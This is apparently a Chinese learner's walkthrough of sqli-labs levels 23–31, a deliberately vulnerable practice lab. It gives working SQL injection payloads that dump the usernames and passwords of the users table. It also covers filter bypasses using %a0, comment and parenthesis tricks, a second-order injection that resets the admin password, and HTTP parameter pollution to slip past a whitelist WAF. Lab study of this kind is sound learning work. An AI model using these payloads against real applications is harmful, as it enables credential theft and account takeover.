在windows环境搭建sqlilab的朋友们注意下,26关往后好几关都需要Linux环境,才能更加完全的测试。本来想自己服务器搭建,但是忽然想起来这玩意还需要低版本的php,麻烦得很,用docker也还是得花些时间。
因此我就直接找了在线靶场,在这里分享下网址http://vulfocus.io,直接搜索框搜索sqli-lab就能出来,瞬间解决了我的燃眉之急,缺点是每次就十几二十分钟,一会就要重启容器
buu实测不行,解析不了%a0
更新下:今天看到的新一篇文章通过sqli-lab学习基于服务器架构上的sql注入,对于29-31关能够更好的理解。
less-23 error-based-no comments
如题过滤了注释符,但是因为有报错信息,所以知道是单引号闭合
那么只需要想办法构造能够闭合单引号的句子即可
id=a' union select 1,group_concat(username),group_concat(password) from users where 1 or 1='
在我前面刷题的时候,已经知道当union select前面的查询无内容时,这条语句就只会显示union select的查询结果,因此这样构造payload,不需要使用limit,同时末尾用where辅助闭合单引号
less-24
本来用的buu又有问题了,只能换回本地环境了
简单测试了下几个页面,还是没搞明白,所以只能看看代码了
没想到代码也有好几个文件,大概浏览下发现完全搞不明白问题出在哪了,只能一个点一个点的分析源代码
登录功能
逻辑:post传入uname和password,用mysql_real_escape_string过滤了一遍,然后就调用select,成功就会设置session,session设置的是查询到的username,登录成功会通过获取session显示查询结果
应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注或者联合查询?
问题:不会绕过这个函数。
密码重置
逻辑:三个可控变量 旧密码 新密码 新密码确认 ,三个密码也都用了mysql_real_escape_string过滤,然后就会用update语句
应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注
问题:不会绕过这个函数。。
注册功能
逻辑:三个可控变量 用户名 密码 确认密码,都用了mysql_real_escape_string过滤,用select count(*) 来判断用户名是否存在,然后insert语句
应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注
问题:不会绕过这个函数。。。
仔细观察这些变量出现的地方,发现只有在重置密码处,表中的username被重新调用,并且没有过滤就拼接了进去
到这里网上流传的攻击方法是修改其他用户的密码,然后就能登录其他用户
比如
UPDATE users SET PASSWORD='123' where username='admin' -- ='
刚开始注册一个用户 admin’ – =
然后登录
重置密码
用新密码尝试登录admin
到此为止,是这一关的教学内容,只是我没有找到任何人用绕过那个函数的方法解决这关,等我会了再来搞下这关
less-25 Trick with or and
随便测试了下,有报错信息,很快就发现是将or 、and转为空,这种的可以双写绕过
当然也有别的绕过方法,这里有一篇文章1 文章2写的内容挺详细的
less-25a
略
测试发现是数字型注入
?id=0 || 1
?id=0 || 0
?id=0 union select 1,2,3 – =
less-26
有回显,有报错,单引号闭合,注释符被过滤了
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格 Windows识别不出来,Linux没测试测试了下,发现根本没用,以上符号确实能够代替空格符,但是这就是url编码,进入php就已经是空格,然后就被过滤掉了,不过这个知识没见过,在这🐎一下
空格绕过
注释符绕过
select/**/*/**/from/**/users
括号绕过
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e))||1||'
这一关使用的报错注入加括号绕过
%a0绕过
使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “&&” 替代 “and”
id=a'%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0where%a01||'
以上是我自己测试下来确实有用的,网上还有很多方法,我试着没用就先不记录了
还找到一种方法,虽然还是括号绕过空格,但这算是布尔盲注吗?
id=a'||substr((select(group_concat(username))from(users)),1,1)='D'||'
less-26a
闭合方式是单引号加括号,无错误回显,能够使用盲注和联合查询注入。
关于闭合方式的判断
不用注释符后不会判断有无小括号了
第一种方法我测试确实能够判断,但是不太理解
[这篇文章介绍了两种方法](Sqli-Labs:Less 26 - Less 26a - 简书 (jianshu.com))
1
和1"
正常回显,1'
报错,判断为字符型,但是还要判断是否有小括号。判断小括号有几种方法:
2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。- 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。作者:Hyafinthus
链接:https://www.jianshu.com/p/ff72f2c6d99c
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
联合查询,%a0绕过空格
id=a')%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0where%a01%a0||('
盲注
less-27 union select
单引号闭合,有报错信息,有回显内容,各种注入方式应该都能用,只要能绕过
虽然过滤了 union 和select但是过滤方式比较简单,可以使用大小写绕过或者双写绕过
盲注
报错注入
less-27a
有回显信息,无报错,?id=a"||1||" 测出双引号闭合
盲注或者联合查询
less-28
测出单引号闭合,无报错,有回显
后面发现是单引号加括号闭合
?id=a’)or(‘1’='1
?id=a’)||(’
我的测试能成功是因为闭合了单引号后,只剩括号,因此会先执行括号内的内容
盲注依然成功
空格依然被过滤,可以用%a0绕过
看源代码发现这次是union select这一对被过滤,不过不是很理解这关过滤的意义
less-28a
有回显,无报错,id=1')||('
单引号加括号闭合
过滤点用都没有啊,这次只过滤了union select 但是%a0能绕过
id=a')union%a0select 1,group_concat(username),group_concat(password) from users where 1 ||('
less-29 protection with WAF
有回显,有报错,单引号闭合
本来就是想随便测试下,没想到一个过滤都没碰到,就全爆出来了
看了下源代码,发现不对劲,他可能忘记删除index.php了?我这默认index.php
实际这一关的入口在login.php
这种类型第一次做,所以直接去看源代码了
源码审计
函数java_implimentation中,id的值只截取前30位返回
所以只需要前30位是数字就能绕过白名单拼接进sql语句完成注入!
id=123456789012345678901234567890' union select 1,group_concat(username),group_concat(password) from users -- =
别人的做法
新概念一:HPP(HTTP 参数污染)[参数污染参考链接](参数污染漏洞(HPP)挖掘技巧及实战案例全汇总 - 云+社区 - 腾讯云 (tencent.com))
HTTP协议没有规定遇到同名参数如何处理,因此当出现同名参数的情况时,完全看后端的逻辑。
这样不同的程序,对同名参数的处理方式就不相同。
这道题如果使用HTTP参数污染,该这样做,传入参数id=1&id=2'-- =
waf只会识别到前面的id=1符合白名单,但是php又会将最后一个作为传进来的参数,后一个参数会绕过waf,直接拼接进sql语句造成注入漏洞
再次搜索这关,发现[这篇提到双服务器概念的文章](sqli-labs(29-31) - 极客分享 (geek-share.com))
虽然也是用HPP解决这道题,但是原理解释好像不太一样,我有点懵
仔细想了下,至少我这应该不是双服务器吧?会不会是之前的老版本不一样?
而且搜索双服务器这个词,搜到的都是sqlilab相关的。。。
这一关源码WAF解析第一个id,完全是他代码逻辑只读取第一个id的前30个字符,并不觉得是什么双服务器
到第31关又回来了,这几关的文件结构都是index.php 加上login.php 作为主要页面,不会真的是给双服务器准备的吧,脑壳痛,这几关过下绕过方式,就不多纠结了。。
less-30
有回显,有报错,报错信息测出双引号闭合
和上一关差不多,不过也要注意手动改成login.php
less-31
有回显,有报错,双引号加括号闭合
报错注入
依然是HPP绕过,因为可以显示报错信息,试了下报错注入
?id=1&id=2") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) ||("
联合查询
看下源码
就是闭合方式变了,WAF没什么变化